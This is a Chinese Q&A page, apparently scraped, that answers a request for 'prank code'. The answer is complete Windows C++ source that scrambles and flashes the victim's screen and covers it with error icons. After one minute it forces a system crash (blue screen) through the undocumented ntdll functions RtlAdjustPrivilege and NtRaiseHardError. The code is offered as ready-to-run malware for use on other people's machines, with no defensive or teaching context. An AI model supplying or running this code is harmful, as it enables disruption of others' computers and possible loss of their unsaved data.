安卓手机整人代码c语言大全,求一个C语言整人代码!!!

满意答案

02ae427d08e371d7e90d5b995e828d6d.png

agrument

推荐于 2018.05.15

02ae427d08e371d7e90d5b995e828d6d.png

采纳率:41%    等级:9

已帮助:1813人

先上代码#include 

#include 

using namespace std;

int call;

int ScreenWidth = GetSystemMetrics(SM_CXSCREEN);

int ScreenHeight = GetSystemMetrics(SM_CYSCREEN);

int IconWidth = GetSystemMetrics(SM_CXICON);

int IconHeight = GetSystemMetrics(SM_CYICON);

HDC hdc=GetWindowDC(GetDesktopWindow());

#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)

int random(int upper_bound) {

if(upper_bound==0) {

return 0;

}

srand((unsigned)(time(NULL) * clock() * rand()*call + time(NULL) + rand()+call));

call++;

return rand() % upper_bound;

}

DWORD WINAPI FlashDesktop(LPVOID Param) {

while(true) {

BitBlt(hdc, 0, 0, ScreenWidth, ScreenHeight, hdc, 0, 0, NOTSRCCOPY);

Sleep(random(100));

}

return 0;

}

int GetWay() {

int r=random(3);

switch(r) {

case 0:

return SRCAND;

case 1:

return SRCINVERT;

case 2:

return SRCPAINT;

}

}

DWORD WINAPI ScreenXorOperation1(LPVOID Param) {

while(true) {

int RandWidth = random(ScreenWidth);

int RandHeight = random(ScreenHeight);

int RandxPixel = random(ScreenWidth - RandWidth);

int RandyPixel = random(ScreenHeight - RandHeight);

int RandDestxPixel = random(ScreenWidth - RandWidth);

int RandDestyPixel = random(ScreenHeight - RandHeight);

BitBlt(hdc, RandxPixel, RandyPixel, RandWidth, RandHeight, hdc, RandDestxPixel, RandDestyPixel, SRCINVERT);

Sleep(random(100));

}

return 0;

}

DWORD WINAPI ScreenXorOperation2(LPVOID Param) {

while(true) {

int RandWidth = random(ScreenWidth);

int RandHeight = random(ScreenHeight);

int RandxPixel = random(ScreenWidth - RandWidth) + RandWidth;

int RandyPixel = random(ScreenHeight - RandHeight) + RandHeight;

int RandDestxPixel = random(ScreenWidth - RandWidth) + RandWidth;

int RandDestyPixel = random(ScreenHeight - RandHeight) + RandHeight;

BitBlt(hdc, RandxPixel, RandyPixel, RandWidth, RandHeight, hdc, RandDestxPixel, RandDestyPixel, SRCINVERT);

Sleep(random(100));

}

return 0;

}

DWORD WINAPI CallBsod1MinLater(LPVOID Param) {

Sleep(60000);

HMODULE ntdll = LoadLibrary("ntdll.dll");

FARPROC RtlAdjustPrivilege=GetProcAddress(ntdll,"RtlAdjustPrivilege");

FARPROC NtRaiseHardError=GetProcAddress(ntdll,"NtRaiseHardError");

unsigned char temp0;

long unsigned int temp1;

((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjustPrivilege)(0x13, true, false, &temp0);

((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardError)(0xc000021a, 0, 0, 0, 6, &temp1);

return 0;

}

DWORD WINAPI DrawErrors(LPVOID Param) {

while(true) {

int RandxPixel = random(ScreenWidth - IconWidth / 2);

int RandyPixel = random(ScreenHeight - IconHeight / 2);

DrawIcon(hdc, RandxPixel, RandyPixel, LoadIcon(NULL, IDI_ERROR));

Sleep(random(50));

}

return 0;

}

int main(void) {

CreateThread(NULL, 4096, &FlashDesktop, NULL, NULL, NULL);

CreateThread(NULL, 4096, &ScreenXorOperation1, NULL, NULL, NULL);

CreateThread(NULL, 4096, &ScreenXorOperation2, NULL, NULL, NULL);

CreateThread(NULL, 4096, &CallBsod1MinLater, NULL, NULL, NULL);

CreateThread(NULL, 4096, &DrawErrors, NULL, NULL, NULL);

while(true);

}

运行这段代码首先会花屏并闪屏,一分钟后蓝屏。

效果图:

cefe4a0c358a2aa4f8b4a30a4f5e1988.png

222d3e0345943e09f8b6a7b3f95ee306.png

226分享举报

  • 2
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值